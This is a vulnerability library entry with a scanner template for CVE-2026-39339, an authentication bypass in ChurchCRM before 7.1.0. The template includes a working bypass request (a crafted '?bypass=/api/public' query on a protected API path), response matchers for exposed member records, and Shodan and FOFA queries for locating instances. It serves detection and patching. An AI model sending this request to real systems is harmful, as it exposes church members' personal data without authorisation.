/Vulnerability Library

ChurchCRM - API Authentication Bypass via URL Injection

CVE-2026-39339
Verified

Description

ChurchCRM < 7.1.0 contains an authentication bypass caused by improper API middleware URL handling in ChurchCRM/Slim/Middleware/AuthMiddleware.php, letting unauthenticated attackers access protected API endpoints, exploit requires crafted request URL with 'api/public

Severity

Critical

CVSS Score

9.1

Exploit Probability

19%

Affected Product

churchcrm

Published Date

April 17, 2026

Template Author

akhilshekhar

CVE-2026-39339.yaml
id: CVE-2026-39339

info:
  name: ChurchCRM - API Authentication Bypass via URL Injection
  author: akhilshekhar
  severity: critical
  description: |
    ChurchCRM < 7.1.0 contains an authentication bypass caused by improper API middleware URL handling in ChurchCRM/Slim/Middleware/AuthMiddleware.php, letting unauthenticated attackers access protected API endpoints, exploit requires crafted request URL with 'api/public
  impact: |
    Unauthenticated attackers can access all protected API endpoints, exposing sensitive church member data and system information.
  remediation: |
    Update to version 7.1.0 or later.
  reference:
    - https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v3p2-mx78-pxhc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2026-39339
    epss-score: 0.19066
    epss-percentile: 0.95422
    cwe-id: CWE-284
    cpe: cpe:2.3:a:churchcrm:churchcrm:*:*:*:*:*:*:*:*
  metadata:
    vendor: churchcrm
    product: churchcrm
    shodan-query: http.title:"churchcrm"
    fofa-query: app="churchcrm"
  tags: cve,cve2026,churchcrm,auth-bypass

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/persons/latest?bypass=/api/public"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "PersonId"
          - "FormattedName"
          - "\"people\""
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ea2690c5797f00fa03347f75d3e670baec5b1c204a0427d7649e2dcacd3909a602210090a18281018deff37600abd6508d5dd39e34dc333149be2bb5ff4c2be44b3168:922c64590222798bb761d5b6d8e72950
9.1Score

CVSS Metrics

CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CVE ID:
cve-2026-39339
CWE ID:
cwe-284

References

https://github.com/ChurchCRM/CRM/security/advisories/GHSA-v3p2-mx78-pxhc

Remediation Steps

Update to version 7.1.0 or later.